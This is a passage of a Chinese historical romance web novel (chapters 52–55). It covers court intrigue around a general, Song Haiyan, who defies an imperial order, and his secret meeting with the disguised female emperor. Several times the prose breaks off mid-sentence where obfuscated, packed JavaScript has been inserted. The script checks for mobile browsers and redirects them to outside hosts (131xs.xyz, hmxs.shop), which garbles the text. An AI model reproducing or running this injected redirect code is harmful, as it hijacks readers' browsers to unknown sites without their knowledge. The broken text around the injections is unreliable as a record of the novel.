士卒高声道:“是。”两名士卒上前,拖起重伤的澹台炜往内院而去,在崭新的青石地板上划出一道长长的血痕。 冯大用背上沁出冷汗来——宋海晏刚入京,又封了大将军,正要立威之时,澹台炜好巧不巧撞在他手上,宋海晏公然抗旨,当着他的面将人鞭打了一顿。这打也打了,威也立了,没承想宋海晏还要将人扣着不放。今日宋海晏若不放人,澹台恭又岂肯善罢甘休,明日朝中只怕好大一场风波。 冯大用心一横,整了整绛紫织金袍,面上寒霜骤起,尖声道:“大将军,此为圣意,莫非大将军今日定要抗旨不遵?” 宋海晏回以一声冷笑:“既是圣意,请冯常侍让陛下亲自同我说——” 冯大用面皮煞白如纸,他重重一跺脚,拂袖而去,一众内监亦步亦趋,跟在他后面离开。 大将军府中发生的事如同长了翅膀,瞬息间传遍金陵城的朱门绣户。澹台恭在家中连摔了三只茶盏,欲率手下兵马亲自往大将军府要人,被次子澹台焕死死拉住:“父亲,宋海晏飞扬跋扈,公然违背圣意,这是一件好事,父亲不可妄动。” 澹台恭怒道:“你兄长身陷囹圄,受尽折辱,你竟说这是好事?” 澹台焕却神色冷静,压低声音道:“父亲细想,宋海晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐椽道:“皇帝毕竟年轻,她想召宋海晏入朝制衡澹台恭,但虎兕出柙,岂会尽听人意?宋海晏自执掌宋阀以来,威权日重,向来讲究‘人若犯我,十倍奉还’,就连我们齐家这几年在他手上都吃了不少亏。澹台炜敢去招惹他,不脱一层皮怎么可能轻易脱身?”他眼中闪过狡黠的光芒:“此人对澹台恭来说是个大麻烦,但对我们齐家而言,说不定可为助力。” “助力?”齐鸿浓眉微蹙。 齐椽脸上浮现出莫测笑容:“父亲,自上次北伐失败之后,我齐氏为何养晦至今?还不是因宋海晏平安归返后,宋、何两家同盟坚如磐石?如今宋海晏拥兵自重,公然抗旨,陛下岂会坐视?我们齐家大可坐山观虎斗,再找机会往这把火浇上一桶猛油,待他们君臣离心、朝堂大乱,便是我齐氏火中取栗的大好时机……” 齐鸿神色凝重,缓缓道:“你莫忘了,长乐公主昔年与宋海晏有婚约。自公主薨逝,宋海晏至今未娶,难保他们之间没有隐秘往来。” 齐椽闻言轻笑,语气笃定:“父亲过虑了。若宋海晏早知长乐公主便是当今陛下,以他睚眦必报的性子,岂会隐忍至今?依我看来,这不过是一段陈年旧缘,不足为虑。” 他顿了顿,又道:“明日朝堂之上,宋海晏必受众人围讦。父亲不妨替他说些好话,展示我们齐家的善意,也让这把火烧得更旺一些。” *** 御书房内,白檀的香味静静漂浮,烛火摇曳,皇帝正在写字。 如今,皇帝的书法已经炉火纯青。烛火之下,那金粉铺成的字迹如金鸾起舞,尽臻至妙。 冯大用跪伏在地,战战兢兢:“陛下,大将军不肯放人,他放出狂言,说……他说……说……” 萧含光凤目一睐,提高音量:“他说什么?” “他说……”冯大用微微抬起头,粗着嗓子,模仿宋海晏的语气,“既是圣意,请冯常侍让陛下亲自同我说——” 萧含光微微一怔:“他真的这么说……” “大将军的确是这么说……”冯大用喉头滚动,额角渗出细汗,道:“七年过去,大将军气势和从前截然不同,令人胆寒……就是小人站在他身边,也觉得两股战战,惊惧非常……”今日往将军府宣旨之后,冯大用担心皇帝召宋海晏入朝,也许是招来了一个大麻烦。但这话他可不敢上达天听,只在心中腹诽而已。 冯大用退下之后,萧含光搁下纸笔,脸上浮现出一抹苦笑来。 七年之后,故人重逢。 宋海晏似乎和她想象中并不一样。 52. 第三章 画舫秋江 五更时分,天光乍露,金陵宫城的朱漆大门在清晓薄雾中缓缓开启。 文武百官鱼贯而入,朱色朝服在宫灯映照下如一片暗潮涌动。 澹台恭一夜未眠,眼下浮着两片青黑,死死盯着殿门方向,只等着宋海晏入殿——看着他那铁青的脸色,众臣毫不怀疑一旦宋海晏出现,金殿之上怕是要上演全武行。然而,直至钟鼓齐鸣,天子升座,宋海晏仍未出现。 众臣三呼万岁,行过跪拜之礼后,澹台恭第一个出列,愤声道:“陛下,宋海晏抗旨不遵,辱打禁军将领,今日竟连朝会也敢缺席!臣请严惩此狂悖之徒,以肃超纲——” 御史中丞周骞手持芴板,奏道:“臣附议,大将军府当街械斗,已骇物听,抗旨不遵,罪加一等,这等狂徒不治,朝廷威严何在?” 言官们昨日风闻将军府发生的事,都准备好了谏辞。有了这两人带头,纷纷发言附议。一时之间,朝堂之上言声灼灼,此起彼伏,皆是弹劾昨日宋海晏狂悖之行。 萧含光坐朝七年,从未见过金殿上如此盈沸,一时之间也觉得颇为头痛。她看向侍立一旁的冯大用,道:“冯常侍,你去大将军府问问,宋海晏今日为何不朝。” 冯大用领命去了。 萧含光又转向位于班首的中书令魏膺之,问道:“魏中书认为此事该如何处置?”魏膺之处事圆滑老到,朝堂之上向来左右逢源,谁也不得罪。遇到棘手的事情,萧含光一般会先探他口风。 魏中书整冠出列,声音沉着:“陛下,臣以为宋海晏狂悖无礼,应该严惩。臣请陛下勒令其即刻放人,再罚俸三年,以儆效尤。” 澹台恭闻言怒火冲天——罚俸三年看似不少,但宋海晏坐拥四州之地,罚俸三年和罚酒三杯有什么区别?正要驳斥时,只见立于魏膺之身旁的司徒公齐鸿掀了掀眼皮子,上前一步道:“陛下,请容老臣一言……” 齐阀势大,司徒公一开口,满殿公卿顿时敛息噤声。 齐鸿苍髯微动,奏道:“启禀陛下,边镇将士常年与胡虏厮杀,行事果决些也是常情。澹台校尉当街拦马拿人,本就欠妥。宋将军若忍气吞声,反倒寒了边军将士的心。如今北虏虎视眈眈,若因朝堂纷争而惩责大将,岂非贻笑于人?老臣恳请陛下念在宋将军功在社稷,宽宥其小过——” 澹台恭怒发冲冠,宋海晏公然抗旨,到了司徒公口中,竟然成了可以宽宥的“小过”,他正要慷慨陈词,忽然发觉太极殿内安静得可怕——御史台的言官们虽然刚刚弹劾过宋海晏,但都不是傻子。 魏膺之和齐鸿先后发言,一人建议“罚俸三年”,另一人提出“宽宥其小过”,两位重臣素来不太对付,却在这一件事上达成了一致,任谁也知道,这时继续揪住宋海晏不放是不智之举。 澹台恭不由得偷偷看向皇帝,见皇帝面含冷霜,眸色愈发幽深难测。澹台恭稍微一想就明白了,宋海晏公然抗旨,但魏膺之和齐鸿都有为他开脱之意,这对皇帝而言绝非好消息——澹台恭心中由怒转喜,如此一来,皇帝只会更加倚重澹台一族。 正思忖间,见冯大用气喘吁吁奔入殿中:“启禀陛下!大将军称晨睡未醒,特请告假……” 百官面面相觑,交头接耳,议论纷纷。 御座之上,萧含光脸色倏沉。她猛地起身,额前白玉珠乱颤,冷声道:“今日朝会到此。朕身体不适,此事明日再议。” 言罢,皇帝扔下满殿大臣,拂袖而去。 当日下午,宫中传出消息,说是皇帝偶感风寒,身体不适,罢朝七日。群臣私底下议论纷纷,多言宋海晏无状,皇帝抱恙,完全是生气所致。于是,中书令魏膺之次日入省,案头弹劾宋海晏的奏折又多了厚厚一沓。 然而,这一切只是开始。 魏膺之很快听闻消息,宋海晏似乎嫌将军府建制太小,有意买下附近的民居,大兴土木,修建园林,其规模颇有违制之嫌。又有人说,金陵富商欲讨好宋海晏,纷纷往大将军府中送礼,宋海晏来者不拒,收受金银无数。还有人说,宋海晏流连于秦淮河风月之地,每日宴乐,三更方归云云。 于是,魏膺之案头的折子越积越多。然而,皇帝称病不朝,关于宋海晏之事如何处置也没个说法。魏膺之只好将有关宋海晏的奏折全部分拣出来,派人送到御居的正光殿去。 萧含光看着御书房堆积如山的奏折,深深叹了一口气。 她一开始,确实不明白宋海晏为何不肯放人,还故意缺席朝会,但见齐鸿在金殿上为宋海晏说话,她忽然就明白了个中用意。 齐阀忌惮宋氏已久,还在洛阳城下暗算过宋海晏。她召宋海晏入朝,齐阀不便提出反对,但背地里必定防备。宋海晏做出目无君上、骄横跋扈的样子,齐阀乐见他们君臣失和,反而会对宋海晏放下戒心。是以,她当下只能装作生气退朝,随后称病,配合他演这么一场戏。 可没想到宋海晏这几天越来越过分,再这样下去,只怕这场风波愈演愈烈,连宫中也不得安宁。 皇帝称病,澹台恭不便入宫求见。但澹台家的老夫人每天抱着小孙女拓跋钰到太皇太后居住的永寿宫中哭诉,无非说澹台炜可是未来的国舅爷,宋海晏扣着不肯放人,分明就是不将颍川郡王放在眼里云云。 太皇太后一开始还安抚几句,将澹台老夫人劝出宫。但澹台老夫人今日去了,明日还来。太皇太后也不胜其烦,命人给她传话:“如今朝上闹得实在不像话,皇帝既然请来这尊大佛,就该有辖制的法子,还是先设法让宋海晏放人再说。” 萧含光无奈苦笑。 宋海宴说要放人,得她亲自去说。可他种种行径,分明是暗示她,他们“君臣不合”,她不可以召他见面。 那他的意思,就是要与她私会。 可她堂堂一国之君,见一个大臣还要偷偷摸摸的? *** 秦淮河上,画舫如织,丝竹声声入耳。桂花的香气裹着脂粉香,随风相送。 宋海晏斜倚在“醉月舫”最奢华的包房内,明烛辉光之下,琵琶琤瑽,舞袖翩翩。 他一手执壶,一手轻叩案几,随着乐伎的琵琶声打着节拍。案上珍馐罗列,却几乎未动,反倒是空酒坛已摆了五六个。 一曲已停,琵琶女停声调弦,又开新曲。宋海晏漫不经心地晃着酒杯,琥珀色的酒液在烛光下泛着诱人的光泽,他看向坐在对面的裴光献,轻笑道:“裴兄,这可是从西域运来的葡萄美酒,连宫中都少有。裴兄素来好酒,今日却不饮,莫非裴兄也和其他人一样,想要和我划清界限?” 裴光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516863|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 献叹息一声,道:“海晏,你从前不会来这种风月之地。” 宋海晏举起酒杯,将杯中物一饮而尽,眼中波澜不惊:“人总是会变的。” 裴光献劝道:“你不知道魏中书为了那些弹劾你的奏折已经捻断几根胡须了,你这次回金陵,他本来想再提与宋家议婚之事,你这般行径,他都不敢登门。海晏,你今日相邀,没忘了我这个朋友,我就冒昧多说两句。你如今年龄,也该早点寻一门婚事。就算你不想与魏氏结姻,以你如今的身份,哪家淑女求不得……” 宋海晏停下酒杯,一晌静默,裴光献又道:“再说了,如今齐阀势大,澹台一家毕竟根基尚浅,陛下只会倚重你。你何苦自污,惹陛下不快……” 宋海晏叹了一声,又满斟一杯饮尽,苦笑道:“裴兄,你今日说这番话,我很是感激。但……知我者,谓我心忧,不知我者,谓我何求。就算我如今重权在握,每日早上醒来,仍如七年前一样,觉得自己两手空空……” 裴光献大惑不解,问道:“你所求为何?” 宋海晏摇头不语,只继续斟酒,就在这时,一名管事模样的人出现在门口,行礼道:“宋将军,我家主人久仰大将军之名,想请大将军移船一见,不知大将军可否赏光?” 宋海晏挑眉道:“你家主人是何人?” 来人从袖中拿出一支镔铁箭,道:“主人说将军见了此箭,自然便知。” 宋海晏脸色骤变,霍然起身,转头对裴光献道:“裴兄,今日我另有要事,就先失陪了,改日再请你喝酒。”他撇下裴光献,跟着来人匆匆而去。 …… 秋江之上,弦月钩沉,一艘画舫静静漂浮。 静室之中,红烛生光。 萧含光着朱红色结绫留仙裙,坐于妆镜之前,楚秋筠正在为她理妆。一头青丝在宫廷女官手中翻卷,时而交叠,时而分散,时而攒在顶心,时而贴在鬓角,梳成精巧的飞仙发髻。又饰金翠,挂玉珠,点翠眉,画花钿,不一会,镜中便浮现盛妆华服的贵女模样。 萧含光凝望着镜中那峨髻巍巍、珠玉生辉的自己,生出恍惚之感。 曾几何时,她也曾着红衣,试新妆,等待着一场注定落空的婚礼。 然而,假扮成另外一个人久了,她几乎忘了自己的本来面目,就算此时此刻,也不敢与镜中形影相认。她揉了揉自己的脸颊,看到镜中人做出同样的动作,轻轻叹了一口气。 楚秋筠最后在头顶插入一支彩凤衔珠的青玉簪,看了看镜中颜如舜华的丽人,轻声道:“陛下,这是金陵城如今时兴的新妆,陛下可还满意?” 萧含光点了点头,道:“甚好。你先出去吧。” 楚秋筠退下之后,萧含光走到靠近舱门的座席上坐下,隔着门口的素纱屏风,遥望画舫之外的秋江。 天净如洗,水声潺潺,一刹时光如漏。 不知何处传来歌吹之声,她静静听了一阵,回神时,见不远处移来一艘乌篷船。艄公摇橹,船头立着一人,向画舫靠近。 那人玉立神姿,隔着秋江烟水,隔着轻纱玉屏,一眼便摄人心魂。 萧含光几乎忘了呼吸。 两船愈近,那人影也愈发清晰,船舷轻碰之刻,来人纵身一跃,踏上画舫,靠近舱门。 53. 第四章 玉屏双影 红烛玉屏,照见来人模样。 七年之后,宋海晏的轮廓已如刀削般深邃,眉宇间褪去少年锐气,沉淀为一种磐石般的沉毅。身形挺拔如松,玄色衣裳下的肩背宽厚有力,举手投足间尽是杀伐淬炼出的锋芒,与昔年的温朗少年大相径庭。 萧含光忽然生出一种不真切的感受,站在她面前的,仍然是宋海晏吗? 一个人的模样呈现在另外一个人眼中,称之为相。 如果现在之相,不同于过去之相,现在之人还是过去之人吗? 她在看宋海晏之时,宋海晏是否也在看她? 在他眼中,她是大楚皇帝,是长乐公主,还是过去于药师庵修行的阿幸呢? 沙门有十喻。相是虚妄,如幻、如阳焰、如水中月、如响、如空花、如镜中像、如海市蜃楼、如梦、如影、如一切变化。虽则无实,而现似有。 她重新睁开眼睛时,见宋海晏依然静静站在门外,与她相望。 佛家有语,二十念为一瞬,二十瞬一弹指,刹那为无垠。 谁也没有说话,只是在这一个刹那间,她觉得春夏秋冬倏尔而过,光阴转瞬流转,时间在爱人的眼眶中停止,过去七载也未必比此刻更加隽永无垠。 宋海晏闭上眼睛,压住心中汹涌而起的情绪。 她今日着一身大红衣裳,灼灼明妆,如红莲初绽。 他不自觉地想,七年之前,大婚的前一晚,她是否也是着这般盛装,等他前来迎娶? 不,公主的婚服应该比现在更加绚烂夺目,妆容应该比现在更加明艳照人。 她今日不是以皇帝的身份来见他,而是以长乐公主的身份来见他。 只需踏入这扇门,过往失却的韶光便触手可及。 可他脚下却似生了根,无法挪动分毫。 门内红烛高烧,门外秋月旷照,将两人形影共投于屏纱之上。人相望,影相偎。 无数静默的瞬息之后,那人依旧伫立,如一尊不会动的石像。 萧含光轻声道:“阿晏,你邀我见面,为何不愿进来?” 门外,那人的声音比飞花更轻,如梦之呓语,“我不敢,阿幸,我怕入了这方门,从此之后,再不肯金殿之上面见帝王,更怕自己忘了昔年旧恨,再生出夤夜私奔的妄想。” 萧含光一瞬之间,无言以对。 昔年的宋海晏夜闯宫闱,想要携她私奔。那时他怀着一腔赤诚,一往无前,甚至做好了抛家弃国的打算。然而北伐折戟而回,宋寒章亦含恨而亡。宋海晏回到庐江执掌家族,不可再像从前那般任性行事。 而她呢,也曾满心以为倾大楚举国之力,便可一战功成,光复洛阳。只要完成太皇太后的夙愿,她就可以离开宫廷,重得自由。可如今她仍然受困于哥哥的身份,做不得自己。 世事从来不由人意,只是那时他们都太年轻,不懂越是身居高位,越是尘笼羁锁。宋海晏如此,她也是如此。 她正斟酌言辞,门外之人涩声道:“高台多悲风,阿幸,一别多年,你安好吗?” 萧含光一愣,苦笑道:“算不上好,亦算不上不好。”她凝望着屏风后那道高大的影子:“今天能够再见到你,总算一件乐事……” 见到宋海晏之前,她有许多的忐忑与彷徨。旧盟虽在,他们毕竟已经七年未见,算起来,他们上一次相见还是在七年前的夏苗狩礼上。 那时她尚未掌握朝政,只能听凭太皇太后的心意行事;他还是不谙世事、明朗飞扬的少年将军。可如今的宋海晏在北方立下赫赫战功,已是宋家之主,手握重兵的一镇诸侯。自他入京以来,人人皆道他行事狂悖、嚣张跋扈,再非池中物。 可此刻,她只觉千般思量、万种计较,在见到他面容的刹那化作烟云,心头涌动的只有喜悦欢欣,再无其他。 从前在药师庵的时候,她并不懂,宋海晏何以能在那条门槛上一坐就是一整天,她不和他说话,他也不会觉得寂寞无聊。她偶尔回应几句,他便无比开怀。 此时此刻,她多少明白了他当年心境。 有时候,只要那人落在眼中,便会心生欢喜。若是能说上几句话,便觉足慰平生。 远处传来管弦之声,不是谁家乐师吹奏一曲乐府旧曲。 “行行重行行,与君生别离。相去万余里,各在天一涯。道路阻且长,会面安可知。胡马依北风,越鸟巢南枝。相去日已远,衣带日已缓……” 乐声如丝如缕,牵动旧忆,千般心绪俱付此夜无声。 烛影不动,江流渐悄。两人一时竟忘了说话,只隔着屏风静静相望。 …… 夜更深了,秦淮河中的船只渐少。画舫后方传来几道击舷之声,这是此前约定的暗号,子时已至,她该回宫了。 萧含光站起身来:“阿晏,我该回去了。” 那道静穆的人影终于动了一下,有些讶然:“这么快?”远处传来更夫的梆子声,宋海晏似乎一瞬回魂:“原来已经三更了——” 听他语气萧索,萧含光忍不住道:“阿晏,现在不同以往,我们还有很多机会可以再见。” “下次相见,你我已非今夜之人。”宋海晏低声一叹,这时,载他来此的乌篷小船已重新靠近,宋海晏抬头看她,轻声道,“阿幸,你候我来,我送你离开。”他回到乌篷船上,静静站着,看着大船缓缓离开。 萧含光看着那人影越来越远,最终化为一个小小黑点,湮没在夜色中,心中忽生出惆怅来。她现在是皇帝,无人规定她该几时回宫,她明明可以下令侍从们多等一个时辰。 总有一些人,只要出现在生命之中,便再也无法忘怀。总有一些事,只要经历过,就终生刻骨铭心。 她仍记得少年拉着她在箭雨中的奔跑;记得他在栖凤殿得知长乐公主死讯时抚棺长恸;记得他在御前献鹿脯时那一双含泪的眼;记得正光殿那一晚,他拥抱着她时滚烫的心跳…… 今夜之后,她大概再也无法忘记屏风上的那道影子。 “下次相见,你我已非今夜之人。” 萧含光咀嚼着这句话,心想,他们以后可能会再见百次、千次、万次,但此时心境,大概不会再有了。 他们自相识以来,每一个夜晚都独一无二。 如幻、如阳焰、如水中月、如响、如空花、如镜中像、如海市蜃楼、如梦、如影、如一切变化。 …… 第二日,皇帝仍未复朝。下午时分,冯大用领着一列内监,浩浩荡荡到了将军府。 宋海晏立于将军府的阙门之下,他并未跪迎圣旨,脸上挂着森冷的笑容:“常侍又有圣意传达?” 冯大用转身对身后内监道:“将东西呈上来。” 身后的小太监托着一个漆盒走上前来,冯大用将漆盒打开,现出里面的一双玉璧,道:“陛下有口谕传达,陛下问大将军,七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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澹台家既为外戚,又有勋爵,澹台炜今年不过二十多岁,已在禁军担任校尉,渐渐养成傲睨万物的态度。那日被虏,心中只以为父亲很快能营救自己出去。事情也如他所料,没有多久,冯大用就传旨来要人,没想到宋海晏不但不放人,还将他鞭打了一顿,又拘禁多日不放。此刻见冯大用在宋海晏面前如此奴颜媚骨,劝他低头,终也明白了形势比人强的道理。 澹台炜面颊肌肉抽搐,咬牙切齿道:“对不起,是我冒犯了大将军……” 就在此时,压在他肩膀上的那柄剑忽地生出一股巨力,压得他的身体向下,澹台炜双膝一弯,竟被逼跪在地。 “这才像是道歉的样子。”宋海晏脸上笑意愈深,他抬了抬手,命甲士撤去长剑。 澹台炜怒不可遏,如猎豹一般一跃而起,一拳击向宋海晏面门,可惜未等他近前,宋海晏足尖横扫,澹台炜重重摔在青石板上,再也爬不起来。 宋海晏看向冯大用,哂道:“澹台校尉现在怕是起不了身了,麻烦冯常侍将人送回去——” 澹台炜仰卧在地上,右腿传来一阵剧痛。宋海晏这一脚极重,踢伤了他的腿骨,他破口大骂:“宋海晏!你这乱臣贼子,我澹台家与你不共戴天!我澹台炜誓要杀你,一雪今日之耻——” 宋海晏充耳不闻,他拂了拂衣摆,转身踏入内院。 冯大用指挥着小太监们将澹台炜抬上马车,心中叫苦不迭。 宋海晏这不是息事宁人的态度,分明是要将事情越闹越大。他故意折辱澹台炜,只怕这场风波远未结束。 皇帝陛下果然是请了一尊煞神回来—— 54. 第五章 潜鱼衔钩 马车停在澹台府门前。澹台恭得闻奏报出迎时,见澹台炜正被两名太监半搀半架着下车,他一身衣袍满是血渍,青丝如蓬草般凌乱,脖子上残留着紫红色的鞭痕。澹台恭眼眶充血,须发怒张,恍若怒目金刚现形。 不多时,两名太医院的医正赶到,自称奉了御命为澹台炜治伤。 待送走医正,澹台恭与二子闭门密谈。得知宋海晏今日有意折辱,澹台恭怒意盈胸,恨不得天上降下一道巨雷,劈死宋海晏才好。 他当即向书房走去,愤声道:“竖子欺人太甚!老夫即刻修本参奏,再往御史台寻周中丞联名,明日早朝再参他一本。我就不信陛下能容他宋海晏如此猖獗——” 次子澹台焕按住父亲衣袖,摇头道:“父亲省些力气吧,前日弹劾宋海晏的人那么多,但齐司徒和魏中书都为他开脱,我看陛下也不好下旨严惩。” “齐鸿那老贼巴不得我们澹台家倒霉,魏膺之一心想和宋家攀婚,都睁着眼睛说瞎话。得此二人撑腰,宋海晏越发得意忘形——”澹台恭越想越气,重重一拳击在几案上,竟砸出一道凹痕,“难道我们澹台家竟平白受此欺辱不成?” 澹台焕低声道:“当然不是,只是眼下不宜和宋海晏硬碰。父亲想想,我们澹台家最大的倚仗是什么?” “当然是颍川郡王。”澹台恭长叹,“可惜颍川郡王年龄太小,不过七岁的娃娃,能做什么?” “颍川郡王虽然是陛下唯一的儿子,但毕竟不是太子。我们家从前落魄,像魏家、齐家这样的第一等世家都看不上我们,宁愿攀附宋家。”澹台焕道:“依孩儿之见,父亲可向陛下进言,早点立颍川郡王为太子。储君既定,我家作为国戚,也能多掌些枢要之职。待我家羽翼丰满,再与宋海晏算账不迟。” 澹台恭如梦初醒:“吾儿所言甚是,我明日便面君,劝陛下早立太子。” 次日早朝,宋海晏早早入殿,着朝服立于武臣班列之首。他神色自若,与相隔不远的齐鸿、魏膺之等打招呼。众臣皆已听说昨日之事,心中都捏了一把汗,怕等澹台恭入殿,又起一场风波。 谁料,澹台恭入殿之后,丝毫不往宋海晏那边看,宋海晏亦目不斜视,只当没这个人。两人同为武臣,位次相邻,却相安无事,甚至连衣服的下摆都没有挨着一点。殿中喧沸之声都停了下来,人人屏声,一丝大气都不敢出。 萧含光一入殿,便感到殿中莫名凝滞的气氛。去看宋海晏时,见他神情肃穆,既不像前夜画舫相见时那般挚情婉婉,也不像冯大用所言般阴沉暴戾,正如一潭静水,深不见底。澹台恭则脸色发红,脖子上青筋跳出,双手握拳,显然强自压抑心中怒气。 萧含光一瞥之后收回目光,命百官奏事。 今日实无大事,早早散朝。众臣前往各自衙署,萧含光则回御书房批阅奏折。不多时,冯大用传澹台恭求见,萧含光便命宣召。 澹台恭跪下行礼,萧含光并不抬头,只继续翻阅手中奏折,淡淡道:“朕听闻宋海晏已放了令郎归家,已命太医院全力医治,卿家还有什么事?” “臣谢陛下隆恩。犬子当日也有无状之处,这事就当给他一个教训,臣今日觐见,是另有要事启奏。”他说得郑重,似乎并无继续揪住宋海晏不放的意思,萧含光搁下朱笔,俯视下方,问道:“何事?” 澹台恭道:“臣以为当今天下虽安,暗流汹涌。宋海晏拥兵自重,世家各怀异心,唯有早立储君,方能定社稷之根本!” 萧含光沉吟道:“颍川郡王年方七岁,此时议立太子,未免过早。” “昔年汉武帝立刘弗陵时,太子不过七岁;汉宣帝立刘奭时,太子只有两岁。储位早定,则朝野安心,奸佞不生觊觎之心。且郡王是皇后嫡子,天资聪颖,太傅常称赞其博学,有明君之姿。”澹台恭伏地再拜:“老臣斗胆,恳请陛下早定国本,立颍川郡王为太子,以安天下臣民之心。” 御书房内一时寂静,唯闻更漏滴答。萧含光站起身来,来回踱了数步,最后停了下来目光扫过澹台恭紧绷的肩背,忽地长长叹息一声。 澹台恭伏地不动:“陛下何故叹息?” 萧含光声音沉郁,道:“事关重大。卿且退下,容朕思之。” 澹台恭知天心难测,不敢再言,只得躬身退出。 萧含光待他出门,唤道:“冯大用——” 冯大用早在门外候着,连忙入殿,跪伏道:“陛下,小人在。” 萧含光对冯大用低语几句,后者连忙出门,追着澹台恭而去。 澹台恭步出正光殿时,见冯大用亦步亦趋,跟了出来。御前总管太监落在澹台恭身后半步,低声道:“澹台将军,您这个时候提立储之事,怕是牵动陛下的一番心病……” 澹台恭忆及方才奏对之时,天子颇有踌躇之意,正担忧自己御前唐突,触怒天颜,得冯大用提点,连忙问道:“此事如何提不得?” 冯大用拿腔拿调道:“哎哟,将军不知道,从前为了立储之事,太皇太后和齐家闹得都不愉快,如今司徒公都很少入永寿宫。如今齐家都不提这立储的事,将军倒是哪壶不开提哪壶……” 澹台恭一听,兹事体大,更怕自己不明就里,踩了忌讳,误了自家前程,切切道:“常侍可否细说?” 冯大用一甩手中拂尘,“陈年旧事,何堪再提,将军以后莫再犯忌便是。” 冯大用越是不说,澹台恭越好奇。他从腰间摸出一锭金子,塞到冯大用袖中,奉承道:“还望常侍大人指点一二……” 冯大用得了厚赠,方才笑眯眯道:“将军您好生糊涂,只想着自己家的事,也不想想,郡王是齐皇后所出。令嫒只是和郡王有婚约,毕竟还未成婚,齐家可是郡王正经的母族,太常卿齐梁是郡王的外祖父,皇后的两个兄弟,是郡王的亲舅舅。陛下若立了太子,澹台家能不能起势尚说不好,齐家必定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537382|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喧声雷动,是以陛下心中犹豫啊……” 澹台恭闻言,顿足扼腕,懊恼自己竟没有先想过此节。 “小人知道宋海晏折辱令郎,将军心中不平,想为澹台家争口气。”冯大用把玩着金锭,语气意味深长,“可这使力的方向错了,再大的劲儿也是白费。” 澹台恭知冯大用从前是太皇太后心腹,又在御前当差多年,他随便提点自己两句,都足够自己受用不尽,他褪下中指上的翡翠扳指,满脸堆笑,塞到冯大用手中,“还望常侍大人指点迷津——” 这翡翠扳指翠色欲滴,显然价值不菲,冯大用见了眉开眼笑,拉着澹台恭往偏僻处走去。二人进了一间无人空殿,冯大用压低声音道:"听说太常丞澹台昱,是大人的堂弟?” 澹台恭点头:“正是。” “这太常署掌管宗庙祭祀,乃国之重器。”冯大用目光闪烁,“但太常卿齐梁沉迷五石散,行事屡屡出错。陛下本有意提拔澹台昱大人,奈何齐家势力太大,不好贸然换人。依小人之见,将军与其在立储之事上白费功夫,不如在此处用点力。太常卿位列九卿之首,清贵无比,若是这位置落入澹台家手中,您与澹台昱大人一文一武,两相呼应,何愁不能扬眉吐气?届时澹台将军再向陛下提议立储,阻力便小多了。” 澹台恭如同醍醐灌顶。但凡第一等的世家大族,莫不根深叶茂。譬如齐家,父子三人各在朝中担任显职,譬如魏家,除了魏膺之担任中书令,另有两名兄弟在地方上任刺史,是以大楚一朝有“齐一魏二”之说,澹台家和这两家相比根基太浅了。 且冯大用话中还有未尽之意。齐梁是颍川郡王的外祖父,若是齐梁获罪被革职,纵然牵扯不到司徒公和扬州都督齐栋那边,颍川郡王的两个舅舅必会受到影响。 他朝冯大用躬了一礼:“常侍大人金玉良言,某不胜感激。” 萧含光批完奏折,不多时,冯大用前来回报,说澹台恭离开正光殿后往太常署的衙门去了。萧含光点点头,命他将批好的奏折送到中书省去。 七年过去了,自她继位以来,金陵的朝局几乎毫无变动。门阀世家们一个萝卜一个坑地把持着京中要职,即使是皇帝也插不进人去。 澹台家虽凭军功崭露头角,她也只能将澹台兄弟安插在禁军、卫尉这些直属御前的位置。如今宋海晏入朝,以骄横暴戾的姿态,搅动着金陵城这一滩死水。齐阀想要火上浇油,从中取利,她也终于迎来改变朝堂格局的契机。 太皇太后有言:“若要得鱼,第一在用饵。第二,在忍与等。” 她忍了七年,也等了七年,才终于等到了如今的机会。 齐鸿将那个婴儿送入宫中,想要李代桃僵,行窃国之事。殊不知,这个孩子是她手中最好用的鱼饵。 只要储君一日未立,就永远有人望着这个位置,为之铤而走险。如今,就看能否在这盘棋局中,走出她预想的那一步了。 55. 第六章 玉烛秋寒 澹台恭出了宫门,径直往太常署衙门而去。时值午后,太常署内一片寂静,因为太常卿不太管事,下面的人也都乐得偷闲,往往还没到申时,署内就没人了。 澹台恭进了署门,见几名书吏在廊下打盹。 “昱弟可在?”澹台恭站在值房门外,叩门问道。 门内传来一阵窸窣声,半晌才见澹台昱披着外袍开门,面上犹带睡痕。见是堂兄亲至,他连忙整冠行礼:“兄长怎么亲自来了?有事唤小弟过府便是。” 澹台恭目光扫过空荡荡的署衙,问道:“齐大人又不在署中?” 